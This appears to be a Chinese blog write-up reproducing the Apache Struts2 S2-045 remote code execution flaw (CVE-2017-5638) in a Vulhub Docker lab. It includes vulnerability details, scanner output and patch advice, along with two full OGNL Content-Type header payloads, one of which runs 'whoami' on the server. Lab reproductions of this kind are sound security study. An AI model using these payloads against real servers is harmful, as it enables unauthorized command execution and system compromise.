当前位置: 首页 > news >正文

【漏洞复现】S2-045 Remote Code Execution(CVE-2017-5638)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞扫描
        • nacs
        • 3、漏洞验证
      • 1.5、修复建议

说明内容
漏洞编号CVE-2017-5638
漏洞名称S2-045 远程代码执行漏洞
漏洞评级高危
影响范围Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞描述在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
修复方案打补丁
上设备
升级组件

1.1、漏洞描述

Apache官方发布Struts 2 紧急漏洞公告(S2-045),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

1.2、漏洞等级

高危

1.3、影响版本

Struts 2.3.5 - Struts 2.3.31,

Struts 2.5 - Struts 2.5.10

1.4、漏洞复现

1、基础环境

Path:Vulhub/struts2/s2-045


启动测试环境:

sudo docker-compose up -d

容器运行后,访问http://your-ip:8080,可以看到上传页面的示例

在这里插入图片描述

2、漏洞扫描
nacs
┌──(kali㉿kali)-[~/tools/nacs/0.0.3]
└─$ sudo ./nacs -h 192.168.80.141 -pa 8080
[sudo] password for kali: _  _     ___     ___     ___   
| \| |   /   \   / __|   / __|  
| .  |   | - |  | (__    \__ \
|_|\_|   |_|_|   \___|   |___/  Version: 0.0.3
[07:25:16] [INFO] Start to probe alive machines
[07:25:16] [*] Target 192.168.80.141 is alive
[07:25:16] [INFO] There are total of 1 hosts, and 1 are surviving
[07:25:16] [WARNING] Too few surviving hosts
[07:25:16] [INFO] Start to discover the ports
[07:25:16] [*] [TCP/SSH] ssh://192.168.80.141:22 [SSH-2.0-OpenSSH_9.2p1\x20Debian-2]
[07:25:18] [*] [TCP/HTTP] [200] [Apache-Struts2] [JAVA] [Jetty] [JSP] http://192.168.80.141:8080 [Struts2 Showcase - Fileupload sample]                                                                                                                           
[07:25:18] [INFO] A total of 2 targets, the rule base hits 2 targets
[07:25:18] [INFO] Start to send pocs to web services (xray type)
[07:25:19] [INFO] Load 397 xray poc(s) 
[07:25:21] [+] http://192.168.80.141:8080 poc-yaml-struts2_045 poc1
[07:26:28] [INFO] Start to process nonweb services
[07:26:28] [INFO] [protocol] ssh 192.168.80.141
[07:28:55] [INFO] Task finish, consumption of time: 3m39.252863901s

在这里插入图片描述

3、漏洞验证

通过以下请求验证漏洞:

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

在这里插入图片描述

233*233已成功执行

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

在这里插入图片描述

在这里插入图片描述

1.5、修复建议

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切 换到不同的实现文件上传Multipart解析器。

http://www.lryc.cn/news/219476.html

相关文章:

  • Linux----------------Shell重定向输入输出
  • apachesolr中简单使用
  • C++多线程编程:其一、thread类概述
  • C++11 initializer_list 轻量级初始化列表的使用场景(让自定义类可以用初始化列表的形式来实例化对象)
  • 请求地址‘/operlog‘,发生未知异常
  • Makefile 保姆级使用教程
  • 【GitHub】Watch、Star、Fork、Follow 有什么区别?
  • MyBatis实现多表映射、分页显示、逆向工程
  • C++基础面试题
  • asp.net人事管理信息系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio
  • 【Docker】Docker中 的AUFS、BTRFS、ZFS、存储池概念的详细讲解
  • 华为云运维小结
  • Firefox 119 正式发布
  • apachesolr启动带调试
  • 【MATLAB】基于灰狼优化算法优化BP神经网络 (GWO-BP)的数据回归预测
  • 雨水收集设施模块把雨水收集起来,经简单处理用于消防洗车冲厕等
  • Mac机RVM安装,手动下载安装,经过验证可以正常使用
  • 人工智能-深度学习之延后初始化
  • Jupyter Notebook交互式开源笔记本工具
  • 基于晶体结构算法的无人机航迹规划-附代码
  • 刷题笔记day11-栈与队列2
  • ngixn的指令
  • 管理类联考——数学——汇总篇——知识点突破——代数——函数、方程——记忆
  • 2014年亚太杯APMCM数学建模大赛C题公共基础课教师专业化培养方式研究求解全过程文档及程序
  • 【广州华锐互动】VR历史古城复原:沉浸式体验古代建筑,感受千年风华!
  • http和https分别是什么?
  • C语言--一个球从100m高度自由落下,每次落地后反弹回原高度的一半,再落下,再反弹。求它在第10次落地时共经过多少米,第10次反弹多高
  • 基础知识:位运算
  • Android菜单Menu详解
  • win10 + cmake3.17 + vs2017编译osgearth2.7.0遇到的坑